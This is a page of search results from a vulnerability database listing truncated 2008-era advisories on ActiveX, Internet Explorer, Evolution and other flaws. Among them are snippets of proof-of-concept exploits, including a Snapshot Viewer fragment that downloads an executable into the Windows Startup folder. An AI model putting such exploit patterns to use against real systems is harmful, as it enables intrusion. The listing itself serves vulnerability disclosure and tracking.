4753 matches found
Novell iManager < 2.7 SP1 Property Book Pages Security Bypass
Binary data 4618.prm...
RealNetworks RealPlayer rmoc3260 ActiveX Control Memory Corruption Vulnerability
This vulnerability allows remote attackers to execute code on vulnerable installations of RealPlayer. User interaction is required in that a user must visit a malicious web site. The specific flaw exists in the rmoc3260 ActiveX control exposed through the following CLSIDs:...
Core Image Fun House <= 2.0 Arbitrary Code Execution PoC (OSX)
No description provided by source. !/usr/bin/ruby Copyright c Netragard, LLC. [email protected] /Developer/Applications/Graphics Tools/Core Image Fun House.app /Contents/MacOS/Core Image Fun House gdb x/10s 0xbfffddf7 0xbfffddf7: 'Z' repeats 101 times, "DCBA center" 2007-07-10 21:15:34.573 Cor...
Core Image Fun House 2.0 (OSX) - Arbitrary Code Execution (PoC)
!/usr/bin/ruby Copyright c Netragard, LLC. [email protected] /Developer/Applications/Graphics Tools/Core Image Fun House.app /Contents/MacOS/Core Image Fun House gdb x/10s 0xbfffddf7 0xbfffddf7: 'Z' , "DCBA center" 2007-07-10 21:15:34.573 Core Image Fun House1061 CFLog 0:...
The Microsoft Office Snapshot Viewer ActiveX Exploit-vulnerability warning-the black bar safety net
Source: http://hi.baidu.com/cloie/ Today someone made a Snapshot Viewer of the ADV, combined with the CERT that dranzer. pdf, to reproduce the vulnerability EXP: the var buf1 = 'http://127.0.0.1/a.exe'; var buf2 = 'C:/Documents and Settings/All Users/"Start"菜单 / 程序 / 启动 /test.exe'; obj...
Cross site scripting
Cross-domain vulnerability in Microsoft Internet Explorer 6 and 7 allows remote attackers to change the location property of a frame via the String data type, and use a frame from a different domain to observe domain-independent events, as demonstrated by observing onkeydown events with...
Cross site scripting
Cross-domain vulnerability in Microsoft Internet Explorer 5.01 SP4, 6, and 7 allows remote attackers to access restricted information from other domains via JavaScript that uses the Object data type for the value of a 1 location or 2 location.href property, related to incorrect determination of t...
CVE-2008-2948
Cross-domain vulnerability in Microsoft Internet Explorer 7 and 8 allows remote attackers to change the location property of a frame via the Object data type, and use a frame from a different domain to observe domain-independent events, as demonstrated by observing onkeydown events with...
CVE-2008-2949
CVE-2008-2949 describes a cross-domain vulnerability in Internet Explorer 6 and 7 where the attacker could manipulate the window.location object using a String to observe events across domains. The root cause is the incorrect determination of the origin of web script, enabling potential viewing o...
Buffer overflow
Buffer overflow in the DXTTextOutEffect ActiveX control aka the Text-Effect DXT Filter, as distributed in TextOut.dll 6.0.18.1 and mvtextout.dll, in muvee autoProducer 6.0 and 6.1 allows remote attackers to execute arbitrary code via a long FontSetting property value...
CVE-2008-2910
Buffer overflow in the DXTTextOutEffect ActiveX control aka the Text-Effect DXT Filter, as distributed in TextOut.dll 6.0.18.1 and mvtextout.dll, in muvee autoProducer 6.0 and 6.1 allows remote attackers to execute arbitrary code via a long FontSetting property value...
CVE-2008-2910
The CVE-2008-2910 issue concerns muvee autoProducer (versions 6.0 and 6.1) containing the DXTTextOutEffect ActiveX control (TextOut.dll 6.0.18.1 and mvtextout.dll). The root cause is a buffer overflow in the DXTTextOutEffect that occurs when a long FontSetting property value is processed, enablin...
Heap overflow
Heap-based buffer overflow in the IBM AFP Viewer Plug-in 2.0.7.1 and 3.2.1.1 allows remote attackers to execute arbitrary code via a long SRC property value. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...
GLSA-200806-06 : Evolution: User-assisted execution of arbitrary code
The remote host is affected by the vulnerability described in GLSA-200806-06 Evolution: User-assisted execution of arbitrary code Alin Rad Pop Secunia Research reported two vulnerabilities in Evolution: A boundary error exists when parsing overly long timezone strings contained within iCalendar...
Unfixed XSS vulnerability at www.bigislandhawaiiproperty.com
Security researcher mckt, has submitted on 06/10/2008 a cross-site-scripting XSS vulnerability affecting www.bigislandhawaiiproperty.com, which at the time of submission ranked 7747284 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 08/10/2008...
Heap overflow
Heap-based buffer overflow in Evolution 2.22.1 allows user-assisted remote attackers to execute arbitrary code via a long DESCRIPTION property in an iCalendar attachment, which is not properly handled during a reply in the calendar view aka the Calendars window...
DEBIAN-CVE-2008-1109
Heap-based buffer overflow in Evolution 2.22.1 allows user-assisted remote attackers to execute arbitrary code via a long DESCRIPTION property in an iCalendar attachment, which is not properly handled during a reply in the calendar view aka the Calendars window...
RHEL 5 : evolution (RHSA-2008:0514)
Updated evolution packages that fix two buffer overflow vulnerabilities are now available for Red Hat Enterprise Linux 5. This update has been rated as having important security impact by the Red Hat Security Response Team. Evolution is the integrated collection of e-mail, calendaring, contact...
Stack overflow
Stack-based buffer overflow in the Creative Software AutoUpdate Engine ActiveX control in CTSUEng.ocx allows remote attackers to execute arbitrary code via a long CacheFolder property value...